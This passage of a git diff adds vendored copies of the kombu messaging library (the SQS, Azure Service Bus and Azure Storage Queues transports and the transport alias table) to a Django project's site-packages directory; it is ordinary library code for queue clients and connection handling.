message['ReceiptHandle'], + ) + else: + try: + properties = payload['properties'] + delivery_info = payload['properties']['delivery_info'] + except KeyError: + # json message not sent by kombu? + delivery_info = {} + properties = {'delivery_info': delivery_info} + payload.update({ + 'body': bytes_to_str(body), + 'properties': properties, + }) + # set delivery tag to SQS receipt handle + delivery_info.update({ + 'sqs_message': message, 'sqs_queue': queue, + }) + properties['delivery_tag'] = message['ReceiptHandle'] + return payload + + def _messages_to_python(self, messages, queue): + """Convert a list of SQS Message objects into Payloads. + + This method handles converting SQS Message objects into + Payloads, and appropriately updating the queue depending on + the 'ack' settings for that queue. + + Arguments: + messages (SQSMessage): A list of SQS Message objects. + queue (str): Name representing the queue they came from. + + Returns: + List: A list of Payload objects + """ + q = self._new_queue(queue) + return [self._message_to_python(m, queue, q) for m in messages] + + def _get_bulk(self, queue, + max_if_unlimited=SQS_MAX_MESSAGES, callback=None): + """Try to retrieve multiple messages off ``queue``. + + Where :meth:`_get` returns a single Payload object, this method + returns a list of Payload objects. The number of objects returned + is determined by the total number of messages available in the queue + and the number of messages the QoS object allows (based on the + prefetch_count). + + Note: + Ignores QoS limits so caller is responsible for checking + that we are allowed to consume at least one message from the + queue. get_bulk will then ask QoS for an estimate of + the number of extra messages that we can consume. + + Arguments: + queue (str): The queue name to pull from. + + Returns: + List[Message] + """ + # drain_events calls `can_consume` first, consuming + # a token, so we know that we are allowed to consume at least + # one message. + + # Note: ignoring max_messages for SQS with boto3 + max_count = self._get_message_estimate() + if max_count: + q_url = self._new_queue(queue) + resp = self.sqs(queue=queue).receive_message( + QueueUrl=q_url, MaxNumberOfMessages=max_count, + WaitTimeSeconds=self.wait_time_seconds) + if resp.get('Messages'): + for m in resp['Messages']: + m['Body'] = AsyncMessage(body=m['Body']).decode() + for msg in self._messages_to_python(resp['Messages'], queue): + self.connection._deliver(msg, queue) + return + raise Empty() + + def _get(self, queue): + """Try to retrieve a single message off ``queue``.""" + q_url = self._new_queue(queue) + resp = self.sqs(queue=queue).receive_message( + QueueUrl=q_url, MaxNumberOfMessages=1, + WaitTimeSeconds=self.wait_time_seconds) + if resp.get('Messages'): + body = AsyncMessage(body=resp['Messages'][0]['Body']).decode() + resp['Messages'][0]['Body'] = body + return self._messages_to_python(resp['Messages'], queue)[0] + raise Empty() + + def _loop1(self, queue, _=None): + self.hub.call_soon(self._schedule_queue, queue) + + def _schedule_queue(self, queue): + if queue in self._active_queues: + if self.qos.can_consume(): + self._get_bulk_async( + queue, callback=promise(self._loop1, (queue,)), + ) + else: + self._loop1(queue) + + def _get_message_estimate(self, max_if_unlimited=SQS_MAX_MESSAGES): + maxcount = self.qos.can_consume_max_estimate() + return min( + max_if_unlimited if maxcount is None else max(maxcount, 1), + max_if_unlimited, + ) + + def _get_bulk_async(self, queue, + max_if_unlimited=SQS_MAX_MESSAGES, callback=None): + maxcount = self._get_message_estimate() + if maxcount: + return self._get_async(queue, maxcount, callback=callback) + # Not allowed to consume, make sure to notify callback.. + callback = ensure_promise(callback) + callback([]) + return callback + + def _get_async(self, queue, count=1, callback=None): + q = self._new_queue(queue) + qname = self.canonical_queue_name(queue) + return self._get_from_sqs( + qname, count=count, connection=self.asynsqs(queue=qname), + callback=transform(self._on_messages_ready, callback, q, queue), + ) + + def _on_messages_ready(self, queue, qname, messages): + if 'Messages' in messages and messages['Messages']: + callbacks = self.connection._callbacks + for msg in messages['Messages']: + msg_parsed = self._message_to_python(msg, qname, queue) + callbacks[qname](msg_parsed) + + def _get_from_sqs(self, queue, + count=1, connection=None, callback=None): + """Retrieve and handle messages from SQS. + + Uses long polling and returns :class:`~vine.promises.promise`. + """ + connection = connection if connection is not None else queue.connection + if self.predefined_queues: + if queue not in self._queue_cache: + raise UndefinedQueueException(( + "Queue with name '{}' must be defined in " + "'predefined_queues'." + ).format(queue)) + queue_url = self._queue_cache[queue] + else: + queue_url = connection.get_queue_url(queue) + return connection.receive_message( + queue, queue_url, number_messages=count, + wait_time_seconds=self.wait_time_seconds, + callback=callback, + ) + + def _restore(self, message, + unwanted_delivery_info=('sqs_message', 'sqs_queue')): + for unwanted_key in unwanted_delivery_info: + # Remove objects that aren't JSON serializable (Issue #1108). + message.delivery_info.pop(unwanted_key, None) + return super()._restore(message) + + def basic_ack(self, delivery_tag, multiple=False): + try: + message = self.qos.get(delivery_tag).delivery_info + sqs_message = message['sqs_message'] + except KeyError: + super().basic_ack(delivery_tag) + else: + queue = None + if 'routing_key' in message: + queue = self.canonical_queue_name(message['routing_key']) + + try: + self.sqs(queue=queue).delete_message( + QueueUrl=message['sqs_queue'], + ReceiptHandle=sqs_message['ReceiptHandle'] + ) + except ClientError: + super().basic_reject(delivery_tag) + else: + super().basic_ack(delivery_tag) + + def _size(self, queue): + """Return the number of messages in a queue.""" + url = self._new_queue(queue) + c = self.sqs(queue=self.canonical_queue_name(queue)) + resp = c.get_queue_attributes( + QueueUrl=url, + AttributeNames=['ApproximateNumberOfMessages']) + return int(resp['Attributes']['ApproximateNumberOfMessages']) + + def _purge(self, queue): + """Delete all current messages in a queue.""" + q = self._new_queue(queue) + # SQS is slow at registering messages, so run for a few + # iterations to ensure messages are detected and deleted. + size = 0 + for i in range(10): + size += int(self._size(queue)) + if not size: + break + self.sqs(queue=queue).purge_queue(QueueUrl=q) + return size + + def close(self): + super().close() + # if self._asynsqs: + # try: + # self.asynsqs().close() + # except AttributeError as exc: # FIXME ??? + # if "can't set attribute" not in str(exc): + # raise + + def new_sqs_client(self, region, access_key_id, + secret_access_key, session_token=None): + session = boto3.session.Session( + region_name=region, + aws_access_key_id=access_key_id, + aws_secret_access_key=secret_access_key, + aws_session_token=session_token, + ) + is_secure = self.is_secure if self.is_secure is not None else True + client_kwargs = { + 'use_ssl': is_secure + } + if self.endpoint_url is not None: + client_kwargs['endpoint_url'] = self.endpoint_url + client_config = self.transport_options.get('client-config') or {} + config = Config(**client_config) + return session.client('sqs', config=config, **client_kwargs) + + def sqs(self, queue=None): + if queue is not None and self.predefined_queues: + + if queue not in self.predefined_queues: + raise UndefinedQueueException( + f"Queue with name '{queue}' must be defined" + " in 'predefined_queues'.") + q = self.predefined_queues[queue] + if self.transport_options.get('sts_role_arn'): + return self._handle_sts_session(queue, q) + if not self.transport_options.get('sts_role_arn'): + if queue in self._predefined_queue_clients: + return self._predefined_queue_clients[queue] + else: + c = self._predefined_queue_clients[queue] = \ + self.new_sqs_client( + region=q.get('region', self.region), + access_key_id=q.get( + 'access_key_id', self.conninfo.userid), + secret_access_key=q.get( + 'secret_access_key', self.conninfo.password) + ) + return c + + if self._sqs is not None: + return self._sqs + + c = self._sqs = self.new_sqs_client( + region=self.region, + access_key_id=self.conninfo.userid, + secret_access_key=self.conninfo.password, + ) + return c + + def _handle_sts_session(self, queue, q): + if not hasattr(self, 'sts_expiration'): # STS token - token init + sts_creds = self.generate_sts_session_token( + self.transport_options.get('sts_role_arn'), + self.transport_options.get('sts_token_timeout', 900)) + self.sts_expiration = sts_creds['Expiration'] + c = self._predefined_queue_clients[queue] = self.new_sqs_client( + region=q.get('region', self.region), + access_key_id=sts_creds['AccessKeyId'], + secret_access_key=sts_creds['SecretAccessKey'], + session_token=sts_creds['SessionToken'], + ) + return c + # STS token - refresh if expired + elif self.sts_expiration.replace(tzinfo=None) < datetime.utcnow(): + sts_creds = self.generate_sts_session_token( + self.transport_options.get('sts_role_arn'), + self.transport_options.get('sts_token_timeout', 900)) + self.sts_expiration = sts_creds['Expiration'] + c = self._predefined_queue_clients[queue] = self.new_sqs_client( + region=q.get('region', self.region), + access_key_id=sts_creds['AccessKeyId'], + secret_access_key=sts_creds['SecretAccessKey'], + session_token=sts_creds['SessionToken'], + ) + return c + else: # STS token - ruse existing + return self._predefined_queue_clients[queue] + + def generate_sts_session_token(self, role_arn, token_expiry_seconds): + sts_client = boto3.client('sts') + sts_policy = sts_client.assume_role( + RoleArn=role_arn, + RoleSessionName='Celery', + DurationSeconds=token_expiry_seconds + ) + return sts_policy['Credentials'] + + def asynsqs(self, queue=None): + if queue is not None and self.predefined_queues: + if queue in self._predefined_queue_async_clients and \ + not hasattr(self, 'sts_expiration'): + return self._predefined_queue_async_clients[queue] + if queue not in self.predefined_queues: + raise UndefinedQueueException(( + "Queue with name '{}' must be defined in " + "'predefined_queues'." + ).format(queue)) + q = self.predefined_queues[queue] + c = self._predefined_queue_async_clients[queue] = \ + AsyncSQSConnection( + sqs_connection=self.sqs(queue=queue), + region=q.get('region', self.region) + ) + return c + + if self._asynsqs is not None: + return self._asynsqs + + c = self._asynsqs = AsyncSQSConnection( + sqs_connection=self.sqs(queue=queue), + region=self.region + ) + return c + + @property + def conninfo(self): + return self.connection.client + + @property + def transport_options(self): + return self.connection.client.transport_options + + @cached_property + def visibility_timeout(self): + return (self.transport_options.get('visibility_timeout') or + self.default_visibility_timeout) + + @cached_property + def predefined_queues(self): + """Map of queue_name to predefined queue settings.""" + return self.transport_options.get('predefined_queues', {}) + + @cached_property + def queue_name_prefix(self): + return self.transport_options.get('queue_name_prefix', '') + + @cached_property + def supports_fanout(self): + return False + + @cached_property + def region(self): + return (self.transport_options.get('region') or + boto3.Session().region_name or + self.default_region) + + @cached_property + def regioninfo(self): + return self.transport_options.get('regioninfo') + + @cached_property + def is_secure(self): + return self.transport_options.get('is_secure') + + @cached_property + def port(self): + return self.transport_options.get('port') + + @cached_property + def endpoint_url(self): + if self.conninfo.hostname is not None: + scheme = 'https' if self.is_secure else 'http' + if self.conninfo.port is not None: + port = f':{self.conninfo.port}' + else: + port = '' + return '{}://{}{}'.format( + scheme, + self.conninfo.hostname, + port + ) + + @cached_property + def wait_time_seconds(self): + return self.transport_options.get('wait_time_seconds', + self.default_wait_time_seconds) + + @cached_property + def sqs_base64_encoding(self): + return self.transport_options.get('sqs_base64_encoding', True) + + +class Transport(virtual.Transport): + """SQS Transport. + + Additional queue attributes can be supplied to SQS during queue + creation by passing an ``sqs-creation-attributes`` key in + transport_options. ``sqs-creation-attributes`` must be a dict whose + key-value pairs correspond with Attributes in the + `CreateQueue SQS API`_. + + For example, to have SQS queues created with server-side encryption + enabled using the default Amazon Managed Customer Master Key, you + can set ``KmsMasterKeyId`` Attribute. When the queue is initially + created by Kombu, encryption will be enabled. + + .. code-block:: python + + from kombu.transport.SQS import Transport + + transport = Transport( + ..., + transport_options={ + 'sqs-creation-attributes': { + 'KmsMasterKeyId': 'alias/aws/sqs', + }, + } + ) + + .. _CreateQueue SQS API: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_CreateQueue.html#API_CreateQueue_RequestParameters + """ # noqa: E501 + + Channel = Channel + + polling_interval = 1 + wait_time_seconds = 0 + default_port = None + connection_errors = ( + virtual.Transport.connection_errors + + (exceptions.BotoCoreError, socket.error) + ) + channel_errors = ( + virtual.Transport.channel_errors + (exceptions.BotoCoreError,) + ) + driver_type = 'sqs' + driver_name = 'sqs' + + implements = virtual.Transport.implements.extend( + asynchronous=True, + exchange_type=frozenset(['direct']), + ) + + @property + def default_connection_params(self): + return {'port': self.default_port} diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/__init__.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/__init__.py new file mode 100644 index 00000000..5fb5047b --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/__init__.py @@ -0,0 +1,86 @@ +"""Built-in transports.""" + +from kombu.utils.compat import _detect_environment +from kombu.utils.imports import symbol_by_name + + +def supports_librabbitmq(): + """Return true if :pypi:`librabbitmq` can be used.""" + if _detect_environment() == 'default': + try: + import librabbitmq # noqa + except ImportError: # pragma: no cover + pass + else: # pragma: no cover + return True + + +TRANSPORT_ALIASES = { + 'amqp': 'kombu.transport.pyamqp:Transport', + 'amqps': 'kombu.transport.pyamqp:SSLTransport', + 'pyamqp': 'kombu.transport.pyamqp:Transport', + 'librabbitmq': 'kombu.transport.librabbitmq:Transport', + 'memory': 'kombu.transport.memory:Transport', + 'redis': 'kombu.transport.redis:Transport', + 'rediss': 'kombu.transport.redis:Transport', + 'SQS': 'kombu.transport.SQS:Transport', + 'sqs': 'kombu.transport.SQS:Transport', + 'mongodb': 'kombu.transport.mongodb:Transport', + 'zookeeper': 'kombu.transport.zookeeper:Transport', + 'sqlalchemy': 'kombu.transport.sqlalchemy:Transport', + 'sqla': 'kombu.transport.sqlalchemy:Transport', + 'SLMQ': 'kombu.transport.SLMQ.Transport', + 'slmq': 'kombu.transport.SLMQ.Transport', + 'filesystem': 'kombu.transport.filesystem:Transport', + 'qpid': 'kombu.transport.qpid:Transport', + 'sentinel': 'kombu.transport.redis:SentinelTransport', + 'consul': 'kombu.transport.consul:Transport', + 'etcd': 'kombu.transport.etcd:Transport', + 'azurestoragequeues': 'kombu.transport.azurestoragequeues:Transport', + 'azureservicebus': 'kombu.transport.azureservicebus:Transport', + 'pyro': 'kombu.transport.pyro:Transport' +} + +_transport_cache = {} + + +def resolve_transport(transport=None): + """Get transport by name. + + Arguments: + transport (Union[str, type]): This can be either + an actual transport class, or the fully qualified + path to a transport class, or the alias of a transport. + """ + if isinstance(transport, str): + try: + transport = TRANSPORT_ALIASES[transport] + except KeyError: + if '.' not in transport and ':' not in transport: + from kombu.utils.text import fmatch_best + alt = fmatch_best(transport, TRANSPORT_ALIASES) + if alt: + raise KeyError( + 'No such transport: {}. Did you mean {}?'.format( + transport, alt)) + raise KeyError(f'No such transport: {transport}') + else: + if callable(transport): + transport = transport() + return symbol_by_name(transport) + return transport + + +def get_transport_cls(transport=None): + """Get transport class by name. + + The transport string is the full path to a transport class, e.g.:: + + "kombu.transport.pyamqp:Transport" + + If the name does not include `"."` (is not fully qualified), + the alias table will be consulted. + """ + if transport not in _transport_cache: + _transport_cache[transport] = resolve_transport(transport) + return _transport_cache[transport] diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/azureservicebus.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/azureservicebus.py new file mode 100644 index 00000000..83237424 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/azureservicebus.py @@ -0,0 +1,445 @@ +"""Azure Service Bus Message Queue transport module for kombu. + +Note that the Shared Access Policy used to connect to Azure Service Bus +requires Manage, Send and Listen claims since the broker will create new +queues and delete old queues as required. + + +Notes when using with Celery if you are experiencing issues with programs not +terminating properly. The Azure Service Bus SDK uses the Azure uAMQP library +which in turn creates some threads. If the AzureServiceBus Channel is closed, +said threads will be closed properly, but it seems there are times when Celery +does not do this so these threads will be left running. As the uAMQP threads +are not marked as Daemon threads, they will not be killed when the main thread +exits. Setting the ``uamqp_keep_alive_interval`` transport option to 0 will +prevent the keep_alive thread from starting + + +More information about Azure Service Bus: +https://azure.microsoft.com/en-us/services/service-bus/ + +Features +======== +* Type: Virtual +* Supports Direct: *Unreviewed* +* Supports Topic: *Unreviewed* +* Supports Fanout: *Unreviewed* +* Supports Priority: *Unreviewed* +* Supports TTL: *Unreviewed* + +Connection String +================= + +Connection string has the following format: + +.. code-block:: + + azureservicebus://SAS_POLICY_NAME:SAS_KEY@SERVICE_BUSNAMESPACE + +Transport Options +================= + +* ``queue_name_prefix`` - String prefix to prepend to queue names in a + service bus namespace. +* ``wait_time_seconds`` - Number of seconds to wait to receive messages. + Default ``5`` +* ``peek_lock_seconds`` - Number of seconds the message is visible for before + it is requeued and sent to another consumer. Default ``60`` +* ``uamqp_keep_alive_interval`` - Interval in seconds the Azure uAMQP library + should send keepalive messages. Default ``30`` +* ``retry_total`` - Azure SDK retry total. Default ``3`` +* ``retry_backoff_factor`` - Azure SDK exponential backoff factor. + Default ``0.8`` +* ``retry_backoff_max`` - Azure SDK retry total time. Default ``120`` +""" + +import string +from queue import Empty +from typing import Any, Dict, Optional, Set, Tuple, Union + +import azure.core.exceptions +import azure.servicebus.exceptions +import isodate +from azure.servicebus import (ServiceBusClient, ServiceBusMessage, + ServiceBusReceiveMode, ServiceBusReceiver, + ServiceBusSender) +from azure.servicebus.management import ServiceBusAdministrationClient + +from kombu.utils.encoding import bytes_to_str, safe_str +from kombu.utils.json import dumps, loads +from kombu.utils.objects import cached_property + +from . import virtual + +# dots are replaced by dash, all other punctuation replaced by underscore. +PUNCTUATIONS_TO_REPLACE = set(string.punctuation) - {'_', '.', '-'} +CHARS_REPLACE_TABLE = { + ord('.'): ord('-'), + **{ord(c): ord('_') for c in PUNCTUATIONS_TO_REPLACE} +} + + +class SendReceive: + """Container for Sender and Receiver.""" + + def __init__(self, + receiver: Optional[ServiceBusReceiver] = None, + sender: Optional[ServiceBusSender] = None): + self.receiver = receiver # type: ServiceBusReceiver + self.sender = sender # type: ServiceBusSender + + def close(self) -> None: + if self.receiver: + self.receiver.close() + self.receiver = None + if self.sender: + self.sender.close() + self.sender = None + + +class Channel(virtual.Channel): + """Azure Service Bus channel.""" + + default_wait_time_seconds = 5 # in seconds + default_peek_lock_seconds = 60 # in seconds (default 60, max 300) + # in seconds (is the default from service bus repo) + default_uamqp_keep_alive_interval = 30 + # number of retries (is the default from service bus repo) + default_retry_total = 3 + # exponential backoff factor (is the default from service bus repo) + default_retry_backoff_factor = 0.8 + # Max time to backoff (is the default from service bus repo) + default_retry_backoff_max = 120 + domain_format = 'kombu%(vhost)s' + _queue_service = None # type: ServiceBusClient + _queue_mgmt_service = None # type: ServiceBusAdministrationClient + _queue_cache = {} # type: Dict[str, SendReceive] + _noack_queues = set() # type: Set[str] + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + self._namespace = None + self._policy = None + self._sas_key = None + self._connection_string = None + + self._try_parse_connection_string() + + self.qos.restore_at_shutdown = False + + def _try_parse_connection_string(self) -> None: + self._namespace, self._policy, self._sas_key = Transport.parse_uri( + self.conninfo.hostname) + + # Convert + endpoint = 'sb://' + self._namespace + if not endpoint.endswith('.net'): + endpoint += '.servicebus.windows.net' + + conn_dict = { + 'Endpoint': endpoint, + 'SharedAccessKeyName': self._policy, + 'SharedAccessKey': self._sas_key, + } + self._connection_string = ';'.join( + [key + '=' + value for key, value in conn_dict.items()]) + + def basic_consume(self, queue, no_ack, *args, **kwargs): + if no_ack: + self._noack_queues.add(queue) + return super().basic_consume( + queue, no_ack, *args, **kwargs + ) + + def basic_cancel(self, consumer_tag): + if consumer_tag in self._consumers: + queue = self._tag_to_queue[consumer_tag] + self._noack_queues.discard(queue) + return super().basic_cancel(consumer_tag) + + def _add_queue_to_cache( + self, name: str, + receiver: Optional[ServiceBusReceiver] = None, + sender: Optional[ServiceBusSender] = None + ) -> SendReceive: + if name in self._queue_cache: + obj = self._queue_cache[name] + obj.sender = obj.sender or sender + obj.receiver = obj.receiver or receiver + else: + obj = SendReceive(receiver, sender) + self._queue_cache[name] = obj + return obj + + def _get_asb_sender(self, queue: str) -> SendReceive: + queue_obj = self._queue_cache.get(queue, None) + if queue_obj is None or queue_obj.sender is None: + sender = self.queue_service.get_queue_sender( + queue, keep_alive=self.uamqp_keep_alive_interval) + queue_obj = self._add_queue_to_cache(queue, sender=sender) + return queue_obj + + def _get_asb_receiver( + self, queue: str, + recv_mode: ServiceBusReceiveMode = ServiceBusReceiveMode.PEEK_LOCK, + queue_cache_key: Optional[str] = None) -> SendReceive: + cache_key = queue_cache_key or queue + queue_obj = self._queue_cache.get(cache_key, None) + if queue_obj is None or queue_obj.receiver is None: + receiver = self.queue_service.get_queue_receiver( + queue_name=queue, receive_mode=recv_mode, + keep_alive=self.uamqp_keep_alive_interval) + queue_obj = self._add_queue_to_cache(cache_key, receiver=receiver) + return queue_obj + + def entity_name( + self, name: str, table: Optional[Dict[int, int]] = None) -> str: + """Format AMQP queue name into a valid ServiceBus queue name.""" + return str(safe_str(name)).translate(table or CHARS_REPLACE_TABLE) + + def _restore(self, message: virtual.base.Message) -> None: + # Not be needed as ASB handles unacked messages + # Remove 'azure_message' as its not JSON serializable + # message.delivery_info.pop('azure_message', None) + # super()._restore(message) + pass + + def _new_queue(self, queue: str, **kwargs) -> SendReceive: + """Ensure a queue exists in ServiceBus.""" + queue = self.entity_name(self.queue_name_prefix + queue) + + try: + return self._queue_cache[queue] + except KeyError: + # Converts seconds into ISO8601 duration format + # ie 66seconds = P1M6S + lock_duration = isodate.duration_isoformat( + isodate.Duration(seconds=self.peek_lock_seconds)) + try: + self.queue_mgmt_service.create_queue( + queue_name=queue, lock_duration=lock_duration) + except azure.core.exceptions.ResourceExistsError: + pass + return self._add_queue_to_cache(queue) + + def _delete(self, queue: str, *args, **kwargs) -> None: + """Delete queue by name.""" + queue = self.entity_name(self.queue_name_prefix + queue) + + self._queue_mgmt_service.delete_queue(queue) + send_receive_obj = self._queue_cache.pop(queue, None) + if send_receive_obj: + send_receive_obj.close() + + def _put(self, queue: str, message, **kwargs) -> None: + """Put message onto queue.""" + queue = self.entity_name(self.queue_name_prefix + queue) + msg = ServiceBusMessage(dumps(message)) + + queue_obj = self._get_asb_sender(queue) + queue_obj.sender.send_messages(msg) + + def _get( + self, queue: str, + timeout: Optional[Union[float, int]] = None + ) -> Dict[str, Any]: + """Try to retrieve a single message off ``queue``.""" + # If we're not ack'ing for this queue, just change receive_mode + recv_mode = ServiceBusReceiveMode.RECEIVE_AND_DELETE \ + if queue in self._noack_queues else ServiceBusReceiveMode.PEEK_LOCK + + queue = self.entity_name(self.queue_name_prefix + queue) + + queue_obj = self._get_asb_receiver(queue, recv_mode) + messages = queue_obj.receiver.receive_messages( + max_message_count=1, + max_wait_time=timeout or self.wait_time_seconds) + + if not messages: + raise Empty() + + # message.body is either byte or generator[bytes] + message = messages[0] + if not isinstance(message.body, bytes): + body = b''.join(message.body) + else: + body = message.body + + msg = loads(bytes_to_str(body)) + msg['properties']['delivery_info']['azure_message'] = message + msg['properties']['delivery_info']['azure_queue_name'] = queue + + return msg + + def basic_ack(self, delivery_tag: str, multiple: bool = False) -> None: + delivery_info = self.qos.get(delivery_tag).delivery_info + + if delivery_info['exchange'] in self._noack_queues: + return super().basic_ack(delivery_tag) + + queue = delivery_info['azure_queue_name'] + # recv_mode is PEEK_LOCK when ack'ing messages + queue_obj = self._get_asb_receiver(queue) + + try: + queue_obj.receiver.complete_message(delivery_info['azure_message']) + except azure.servicebus.exceptions.MessageAlreadySettled: + super().basic_ack(delivery_tag) + except Exception: + super().basic_reject(delivery_tag) + else: + super().basic_ack(delivery_tag) + + def _size(self, queue: str) -> int: + """Return the number of messages in a queue.""" + queue = self.entity_name(self.queue_name_prefix + queue) + props = self.queue_mgmt_service.get_queue_runtime_properties(queue) + + return props.total_message_count + + def _purge(self, queue): + """Delete all current messages in a queue.""" + # Azure doesn't provide a purge api yet + n = 0 + max_purge_count = 10 + queue = self.entity_name(self.queue_name_prefix + queue) + + # By default all the receivers will be in PEEK_LOCK receive mode + queue_obj = self._queue_cache.get(queue, None) + if queue not in self._noack_queues or \ + queue_obj is None or queue_obj.receiver is None: + queue_obj = self._get_asb_receiver( + queue, + ServiceBusReceiveMode.RECEIVE_AND_DELETE, 'purge_' + queue + ) + + while True: + messages = queue_obj.receiver.receive_messages( + max_message_count=max_purge_count, + max_wait_time=0.2 + ) + n += len(messages) + + if len(messages) < max_purge_count: + break + + return n + + def close(self) -> None: + # receivers and senders spawn threads so clean them up + if not self.closed: + self.closed = True + for queue_obj in self._queue_cache.values(): + queue_obj.close() + self._queue_cache.clear() + + if self.connection is not None: + self.connection.close_channel(self) + + @property + def queue_service(self) -> ServiceBusClient: + if self._queue_service is None: + self._queue_service = ServiceBusClient.from_connection_string( + self._connection_string, + retry_total=self.retry_total, + retry_backoff_factor=self.retry_backoff_factor, + retry_backoff_max=self.retry_backoff_max + ) + return self._queue_service + + @property + def queue_mgmt_service(self) -> ServiceBusAdministrationClient: + if self._queue_mgmt_service is None: + self._queue_mgmt_service = \ + ServiceBusAdministrationClient.from_connection_string( + self._connection_string) + return self._queue_mgmt_service + + @property + def conninfo(self): + return self.connection.client + + @property + def transport_options(self): + return self.connection.client.transport_options + + @cached_property + def queue_name_prefix(self) -> str: + return self.transport_options.get('queue_name_prefix', '') + + @cached_property + def wait_time_seconds(self) -> int: + return self.transport_options.get('wait_time_seconds', + self.default_wait_time_seconds) + + @cached_property + def peek_lock_seconds(self) -> int: + return min(self.transport_options.get('peek_lock_seconds', + self.default_peek_lock_seconds), + 300) # Limit upper bounds to 300 + + @cached_property + def uamqp_keep_alive_interval(self) -> int: + return self.transport_options.get( + 'uamqp_keep_alive_interval', + self.default_uamqp_keep_alive_interval + ) + + @cached_property + def retry_total(self) -> int: + return self.transport_options.get( + 'retry_total', self.default_retry_total) + + @cached_property + def retry_backoff_factor(self) -> float: + return self.transport_options.get( + 'retry_backoff_factor', self.default_retry_backoff_factor) + + @cached_property + def retry_backoff_max(self) -> int: + return self.transport_options.get( + 'retry_backoff_max', self.default_retry_backoff_max) + + +class Transport(virtual.Transport): + """Azure Service Bus transport.""" + + Channel = Channel + + polling_interval = 1 + default_port = None + can_parse_url = True + + @staticmethod + def parse_uri(uri: str) -> Tuple[str, str, str]: + # URL like: + # azureservicebus://{SAS policy name}:{SAS key}@{ServiceBus Namespace} + # urllib parse does not work as the sas key could contain a slash + # e.g.: azureservicebus://rootpolicy:some/key@somenamespace + + # > 'rootpolicy:some/key@somenamespace' + uri = uri.replace('azureservicebus://', '') + # > 'rootpolicy:some/key', 'somenamespace' + policykeypair, namespace = uri.rsplit('@', 1) + # > 'rootpolicy', 'some/key' + policy, sas_key = policykeypair.split(':', 1) + + # Validate ASB connection string + if not all([namespace, policy, sas_key]): + raise ValueError( + 'Need a URI like ' + 'azureservicebus://{SAS policy name}:{SAS key}@{ServiceBus Namespace} ' # noqa + 'or the azure Endpoint connection string' + ) + + return namespace, policy, sas_key + + @classmethod + def as_uri(cls, uri: str, include_password=False, mask='**') -> str: + namespace, policy, sas_key = cls.parse_uri(uri) + return 'azureservicebus://{}:{}@{}'.format( + policy, + sas_key if include_password else mask, + namespace + ) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/azurestoragequeues.py b/django_lottopy/lib/python3.10/site-packages/kombu/transport/azurestoragequeues.py new file mode 100644 index 00000000..e83a20d3 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/transport/azurestoragequeues.py @@ -0,0 +1,165 @@ +"""Azure Storage Queues transport module for kombu. + +More information about Azure Storage Queues: +https://azure.microsoft.com/en-us/services/storage/queues/ + +Features +======== +* Type: Virtual +* Supports Direct: *Unreviewed* +* Supports Topic: *Unreviewed* +* Supports Fanout: *Unreviewed* +* Supports Priority: *Unreviewed* +* Supports TTL: *Unreviewed* + +Connection String +================= + +Connection string has the following format: + +.. code-block:: + + azurestoragequeues://:STORAGE_ACCOUNT_ACCESS kEY@STORAGE_ACCOUNT_NAME + +Note that if the access key for the storage account contains a slash, it will +have to be regenerated before it can be used in the connection URL. + +Transport Options +================= + +* ``queue_name_prefix`` +""" + +import string +from queue import Empty + +from kombu.utils.encoding import safe_str +from kombu.utils.json import dumps, loads +from kombu.utils.objects import cached_property + +from . import virtual + +try: + from azure.storage.queue import QueueService +except ImportError: # pragma: no cover + QueueService = None + +# Azure storage queues allow only alphanumeric and dashes +# so, replace everything with a dash +CHARS_REPLACE_TABLE = { + ord(c): 0x2d for c in string.punctuation +} + + +class Channel(virtual.Channel): + """Azure Storage Queues channel.""" + + domain_format = 'kombu%(vhost)s' + _queue_service = None + _queue_name_cache = {} + no_ack = True + _noack_queues = set() + + def __init__(self, *args, **kwargs): + if QueueService is None: + raise ImportError('Azure Storage Queues transport requires the ' + 'azure-storage-queue library') + + super().__init__(*args, **kwargs) + + for queue_name in self.queue_service.list_queues(): + self._queue_name_cache[queue_name] = queue_name + + def basic_consume(self, queue, no_ack, *args, **kwargs): + if no_ack: + self._noack_queues.add(queue) + + return super().basic_consume(queue, no_ack, + *args, **kwargs) + + def entity_name(self, name, table=CHARS_REPLACE_TABLE): + """Format AMQP queue name into a valid Azure Storage Queue name.""" + return str(safe_str(name)).translate(table) + + def _ensure_queue(self, queue): + """Ensure a queue exists.""" + queue = self.entity_name(self.queue_name_prefix + queue) + try: + return self._queue_name_cache[queue] + except KeyError: + self.queue_service.create_queue(queue, fail_on_exist=False) + q = self._queue_name_cache[queue] = queue + return q + + def _delete(self, queue, *args, **kwargs): + """Delete queue by name.""" + queue_name = self.entity_name(queue) + self._queue_name_cache.pop(queue_name, None) + self.queue_service.delete_queue(queue_name) + super()._delete(queue_name) + + def _put(self, queue, message, **kwargs): + """Put message onto queue.""" + q = self._ensure_queue(queue) + encoded_message = dumps(message) + self.queue_service.put_message(q, encoded_message) + + def _get(self, queue, timeout=None): + """Try to retrieve a single message off ``queue``.""" + q = self._ensure_queue(queue) + + messages = self.queue_service.get_messages(q, num_messages=1, + timeout=timeout) + if not messages: + raise Empty() + + message = messages[0] + raw_content = self.queue_service.decode_function(message.content) + content = loads(raw_content) + + self.queue_service.delete_message(q, message.id, message.pop_receipt) + + return content + + def _size(self, queue): + """Return the number of messages in a queue.""" + q = self._ensure_queue(queue) + metadata = self.queue_service.get_queue_metadata(q) + return metadata.approximate_message_count + + def _purge(self, queue): + """Delete all current messages in a queue.""" + q = self._ensure_queue(queue) + n = self._size(q) + self.queue_service.clear_messages(q) + return n + + @property + def queue_service(self): + if self._queue_service is None: + self._queue_service = QueueService( + account_name=self.conninfo.hostname, + account_key=self.conninfo.password) + + return self._queue_service + + @property + def conninfo(self): + return self.connection.client + + @property + def transport_options(self): + return self.connection.client.transport_options + + @cached_property + def queue_name_prefix(self): + return self.transport_options.get('queue_name_prefix', '') + + +class Transport(virtual.Transport): + """Azure Storage Queues transport.""" + + Channel = Channel + + polling_interval = 1 + default_port = None diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/transport/base.py 